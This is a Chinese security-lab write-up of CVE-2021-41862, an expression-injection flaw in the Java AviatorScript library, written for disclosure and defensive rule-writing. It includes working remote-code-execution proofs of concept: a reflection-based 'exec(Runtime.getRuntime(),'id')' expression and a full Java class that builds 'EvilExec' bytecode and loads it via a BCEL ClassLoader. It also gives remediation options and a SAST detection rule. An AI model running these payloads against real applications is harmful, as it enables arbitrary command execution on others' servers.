开源组件漏洞分析-CVE-2021-41862 AviatorScript 存在表达式注入漏洞
本文作者:宇航@涂鸦智能安全实验室
漏洞编号
CVE-2021-41862
受影响版本:
com.googlecode.aviator:aviator:[5.2.1,+∞)
漏洞危害
AviatorScript是一门高性能、轻量级寄宿于 Jvm 之上的脚本语言。 AviatorScript >= 5.2.1 存在代码注入漏洞,攻击者可通过使用字节代码工程库 (BCEL) 编码的表达式执行代码。
漏洞poc
RCE。
//poc1
exec(Runtime.getRuntime(), 'id')
//poc2
String expr = "'poc:'+(c=Class.forName('" + bcelEncoded + "',true,"
+ "new com.sun.org.apache.bcel.internal.util.ClassLoader()))+c.exec('id')";
byte[] evilBytes = generateEvilClassBytes();
String bcelEncoded = bcelEncode(evilBytes);
private static byte[] generateEvilClassBytes() {
ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES | ClassWriter.COMPUTE_MAXS);
cw.visit(Opcodes.V1_8, Opcodes.ACC_PUBLIC | Opcodes.ACC_SUPER,
"EvilExec", null, "java/lang/Object", null);
MethodVisitor init = cw.visitMethod(Opcodes.ACC_PUBLIC, "<init>", "()V", null, null);
init.visitCode();
init.visitVarInsn(Opcodes.ALOAD, 0);
init.visitMethodInsn(Opcodes.INVOKESPECIAL, "java/lang/Object", "<init>", "()V", false);
init.visitInsn(Opcodes.RETURN);
init.visitMaxs(1, 1);
init.visitEnd();
// public static Process exec(String cmd) throws Exception
MethodVisitor mv = cw.visitMethod(Opcodes.ACC_PUBLIC | Opcodes.ACC_STATIC,
"exec", "(Ljava/lang/String;)Ljava/lang/Process;", null,
new String[]{"java/lang/Exception"});
mv.visitCode();
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Runtime",
"getRuntime", "()Ljava/lang/Runtime;", false);
mv.visitVarInsn(Opcodes.ALOAD, 0);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Runtime",
"exec", "(Ljava/lang/String;)Ljava/lang/Process;", false);
mv.visitInsn(Opcodes.ARETURN);
mv.visitMaxs(2, 1);
mv.visitEnd();
cw.visitEnd();
return cw.toByteArray();
}
private static String bcelEncode(byte[] classBytes) throws Exception {
Class<?> utilityClass = Class.forName("com.sun.org.apache.bcel.internal.classfile.Utility");
Method encode = utilityClass.getDeclaredMethod("encode", byte[].class, boolean.class);
return "$$BCEL$$" + encode.invoke(null, classBytes, true);
}
漏洞触发点:
Object result = evaluator.execute("exec(Runtime.getRuntime(), 'id')");
Object result = evaluator.execute(expr);
漏洞详情

该漏洞主要在于AviatorScript 在执行表达式时通过 ASMCodeGenerator 将输入编译为 JVM 字节码并在内存中执行。默认配置下,表达式可使用 new 实例化任意类,亦可通过 Class.forName() 配合 BCEL ClassLoader加载 BCEL 编码的恶意字节码。此外,若应用设置了 JavaMethodReflectionFunctionMissing,表达式中所有未注册函数均通过 Java 反射在第一个参数对象上查找并直接调用,导致 RCE。
以下是验证poc代码:
package com.example.test.cves;
import com.googlecode.aviator.AviatorEvaluator;
import com.googlecode.aviator.AviatorEvaluatorInstance;
import com.googlecode.aviator.runtime.JavaMethodReflectionFunctionMissing;
import org.springframework.asm.ClassWriter;
import org.springframework.asm.MethodVisitor;
import org.springframework.asm.Opcodes;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.lang.reflect.Method;
/**
* CVE-2021-41862 PoC
* 影响版本: com.googlecode.aviator:aviator <= 5.2.7
* 漏洞类型: CWE-74 (Injection) / CWE-78 (OS Command Injection)
* CVSS 3.1: 9.8 CRITICAL
* 攻击向量: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
*
* 漏洞原理:
* AviatorScript 在执行表达式时通过 ASMCodeGenerator 将输入编译为 JVM 字节码并在内存中执行。
* 默认配置下,表达式可使用 new 实例化任意类,亦可通过 Class.forName() 配合 BCEL ClassLoader
* 加载 BCEL 编码的恶意字节码。此外,若应用设置了 JavaMethodReflectionFunctionMissing,
* 表达式中所有未注册函数均通过 Java 反射在第一个参数对象上查找并直接调用,导致 RCE。
*
* 关键成因:
* 1. setFunctionMissing(JavaMethodReflectionFunctionMissing) — 未定义函数走反射回调,
* 攻击者注入 exec(Runtime.getRuntime(), 'id') 即可调用 Runtime.exec()
* 2. Class.forName() 配合 com.sun.org.apache.bcel.internal.util.ClassLoader —
* BCEL ClassLoader 可直接从 $$BCEL$$ 编码的字节串加载任意类,无需文件系统支持
*
* 修复方案:无可用补丁版本(作者未发布代码修复,各版本均受影响);必须禁止不可信输入流入 execute(),
* 或配置 ALLOWED_CLASS_SET 白名单 + 禁用 Feature.NewInstance
*
* SAST 规则转换:容易 — 直接匹配 AviatorEvaluatorInstance.execute() 调用即可标记风险,
* 无需分析参数组合;execute() 本身即为漏洞触发入口
*
* 参考链接:
* - NVD: https://nvd.nist.gov/vuln/detail/CVE-2021-41862
* - GitHub Issue: https://github.com/killme2008/aviatorscript/issues/421
* - GitHub Advisory: https://advisories.gitlab.com/pkg/maven/com.googlecode.aviator/aviator/CVE-2021-41862
*/
public class CVE_2021_41862 {
public static void main(String[] args) {
System.out.println("CVE-2021-41862 漏洞验证");
System.out.println("AviatorScript 表达式注入 → 任意代码执行 (RCE)\n");
testReflectionFunctionMissingRCE();
testBcelClassLoaderRCE();
printRemediation();
}
/**
* 方式一:JavaMethodReflectionFunctionMissing 反射回调
* 表达式中调用未注册函数 exec → 触发 onFunctionMissing → 在第一个参数 (Runtime) 上反射调用 exec(String)
*/
private static void testReflectionFunctionMissingRCE() {
System.out.println("=== 方式一: JavaMethodReflectionFunctionMissing 反射回调 RCE ===");
try {
AviatorEvaluatorInstance evaluator = AviatorEvaluator.newInstance();
evaluator.setFunctionMissing(JavaMethodReflectionFunctionMissing.getInstance());
// exec 未在 evaluator 中注册 → 触发反射回调 → 调用 Runtime.exec("id")
Object result = evaluator.execute("exec(Runtime.getRuntime(), 'id')");
if (result instanceof Process) {
String output = readOutput((Process) result);
System.out.println("✓ 漏洞触发成功 - 命令执行输出: " + output);
} else {
System.out.println("✓ 漏洞触发成功 - 返回值: " + result);
}
} catch (Exception e) {
System.out.println("漏洞已修复或未成功触发: " + e.getMessage());
}
}
/**
* 方式二:BCEL ClassLoader 加载恶意字节码
* 使用 ASM 动态生成含 public static exec(String) 方法的恶意类,经 BCEL 编码后注入 AviatorScript 表达式,
* 通过 Class.forName() + BCEL ClassLoader 在表达式执行期间加载并调用恶意类
*/
private static void testBcelClassLoaderRCE() {
System.out.println("\n=== 方式二: BCEL ClassLoader 加载恶意字节码 RCE ===");
try {
byte[] evilBytes = generateEvilClassBytes();
String bcelEncoded = bcelEncode(evilBytes);
System.out.println("BCEL 编码完成,编码长度: " + bcelEncoded.length() + " 字符");
AviatorEvaluatorInstance evaluator = AviatorEvaluator.newInstance();
// 'poc:' 前缀强制字符串拼接上下文:Class.forName 使用 BCEL ClassLoader 加载恶意类,随后调用静态 exec 方法
// 若不加字符串前缀,AviatorScript 会对 Class 和 Process 尝试数值加法导致类型错误
String expr = "'poc:'+(c=Class.forName('" + bcelEncoded + "',true,"
+ "new com.sun.org.apache.bcel.internal.util.ClassLoader()))+c.exec('id')";
Object result = evaluator.execute(expr);
System.out.println("✓ 漏洞触发成功 - 恶意类已加载并执行,返回: " + result);
} catch (Exception e) {
String msg = e.getMessage() != null ? e.getMessage() : "";
// 异常信息中出现 Process 对象说明恶意类已成功加载且 exec 已执行,只是结果拼接失败
if (msg.contains("Process")) {
System.out.println("✓ 漏洞触发成功 - 恶意类已加载,exec 已执行 (异常信息中可见进程对象)");
System.out.println(" 证据: " + msg.replaceAll("(?s).*?(\\w*Process@[0-9a-f]+).*", "$1"));
} else {
System.out.println("漏洞已修复或未成功触发: " + msg);
}
}
}
/**
* 使用 Spring 内嵌 ASM 动态生成含 public static Process exec(String cmd) 方法的恶意类字节码
*/
private static byte[] generateEvilClassBytes() {
ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES | ClassWriter.COMPUTE_MAXS);
cw.visit(Opcodes.V1_8, Opcodes.ACC_PUBLIC | Opcodes.ACC_SUPER,
"EvilExec", null, "java/lang/Object", null);
MethodVisitor init = cw.visitMethod(Opcodes.ACC_PUBLIC, "<init>", "()V", null, null);
init.visitCode();
init.visitVarInsn(Opcodes.ALOAD, 0);
init.visitMethodInsn(Opcodes.INVOKESPECIAL, "java/lang/Object", "<init>", "()V", false);
init.visitInsn(Opcodes.RETURN);
init.visitMaxs(1, 1);
init.visitEnd();
// public static Process exec(String cmd) throws Exception
MethodVisitor mv = cw.visitMethod(Opcodes.ACC_PUBLIC | Opcodes.ACC_STATIC,
"exec", "(Ljava/lang/String;)Ljava/lang/Process;", null,
new String[]{"java/lang/Exception"});
mv.visitCode();
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Runtime",
"getRuntime", "()Ljava/lang/Runtime;", false);
mv.visitVarInsn(Opcodes.ALOAD, 0);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Runtime",
"exec", "(Ljava/lang/String;)Ljava/lang/Process;", false);
mv.visitInsn(Opcodes.ARETURN);
mv.visitMaxs(2, 1);
mv.visitEnd();
cw.visitEnd();
return cw.toByteArray();
}
/**
* 通过反射调用 JDK 内置 BCEL Utility.encode 将字节码压缩编码为 $$BCEL$$ 格式
*/
private static String bcelEncode(byte[] classBytes) throws Exception {
Class<?> utilityClass = Class.forName("com.sun.org.apache.bcel.internal.classfile.Utility");
Method encode = utilityClass.getDeclaredMethod("encode", byte[].class, boolean.class);
return "$$BCEL$$" + encode.invoke(null, classBytes, true);
}
private static String readOutput(Process process) throws Exception {
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
StringBuilder sb = new StringBuilder();
String line;
while ((line = reader.readLine()) != null) {
sb.append(line).append(" ");
}
return sb.toString().trim();
}
private static void printRemediation() {
System.out.println("\n修复方案:");
System.out.println("注意:aviator 作者未发布任何代码层补丁,所有版本(含最新 5.4.3)在默认配置下均受影响。");
System.out.println("1. 禁止将不可信外部输入传入 execute()(根本解法)");
System.out.println("2. 配置类访问白名单,阻断 BCEL ClassLoader 等利用路径:");
System.out.println(" evaluator.setOption(Options.ALLOWED_CLASS_SET, Collections.emptySet());");
System.out.println("3. 禁用 NewInstance 功能,阻止表达式中 new 任意对象:");
System.out.println(" evaluator.disableFeature(Feature.NewInstance)");
System.out.println("4. 不设置 JavaMethodReflectionFunctionMissing(禁止反射回调)");
System.out.println("5. 若无法避免执行外部表达式,需同时启用鉴权并限制接口访问");
}
}
运行后可得到:

可以看到此处返回了恶意命令的结果,其中bcel返回了UNIXProcess的进程,攻击者注入的恶意命令实际已经执行。两个poc均可进行rce的触发。
- 方式一(JavaMethodReflectionFunctionMissing):需要应用主动开启这个回调配置,才会让表达式中的未定义函数变成任意反射调用
- 方式二(BCEL):不需要任何特殊配置,在默认状态下即可利用——AviatorScript 默认允许
new任意类,攻击者通过new com.sun.org.apache.bcel.internal.util.ClassLoader()把 JDK 内置的 BCEL ClassLoader 实例化进来,再用Class.forName()加载恶意字节码,就完成了 RCE
调用堆栈如下:

常见的Hutool、积木报表均是该缺陷函数导致的漏洞
修复方案
目前暂无升级修复版本方案,详细可见https://github.com/killme2008/aviatorscript/issues/421
作者 killme2008 根本没有发布任何补丁版本,他直接关闭了 issue,理由是:
“AviatorScript is just a script language(engine)… if you export an API to execute a script by users publicly, you must count on yourself to ensure security.”
他的立场是:这不是库的 Bug,是用法问题。提供的"修复"只是文档里已有的安全选项:
Options.ALLOWED_CLASS_SET设类白名单evaluator.disableFeature(Feature.NewInstance)禁止 NewInstanceenableSandboxMode()(5.4.x 新增)
因此如果非要使用该功能,靠谱的修复方案为:
- 配置类访问白名单,阻断 BCEL ClassLoader 等利用路径:evaluator.setOption(Options.ALLOWED_CLASS_SET, Collections.emptySet());
- 禁用 NewInstance 功能,阻止表达式中 new 任意对象:evaluator.disableFeature(Feature.NewInstance);
- 不设置 JavaMethodReflectionFunctionMissing(禁止反射回调)。
加白策略
由于此处不是所有业务方引入了该组件后会使用到其危险方法,故可采用漏洞加白后转换sast规则的策略来定位到具体使用了execute的业务,明确其使用方式,是否为强需求,是否可以设置类白名单,攻击者是否可控输入等等方式来限制修复。
白盒规则
其中evaluator.execute();函数加入代码卫士规则进行二次确认。如存在使用该缺陷函数的代码,进行替换。
主要匹配内容:evaluator.execute();

包名:com.googlecode.aviator
类名:AviatorEvaluatorInstance
方法名:execute
使用语义分析策略即可。
<Semantic id="76e7f0d7-6a9a-42f0-a4b9-640fd4838065" version="1.1.1">
<MethodDefinition implements="true" overrides="true" extends="true">
<!-- 填写需要匹配的命名空间正则表达式或字符串,可选,不需要匹配命名空间则删除该节点 -->
<NamespaceName type="value">com.googlecode.aviator</NamespaceName>
<!-- 填写需要匹配的类名正则表达式或字符串,可选,不需要匹配类名则删除该节点 -->
<ClassName type="pattern">AviatorEvaluatorInstance</ClassName>
<!-- 填写需要匹配的方法名正则表达式或字符串 -->
<MethodName type="pattern">execute</MethodName>
</MethodDefinition>
</Semantic>
漏洞悬赏计划:涂鸦智能安全响应中心(https://src.tuya.com)欢迎白帽子来探索。
AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。
更多推荐



所有评论(0)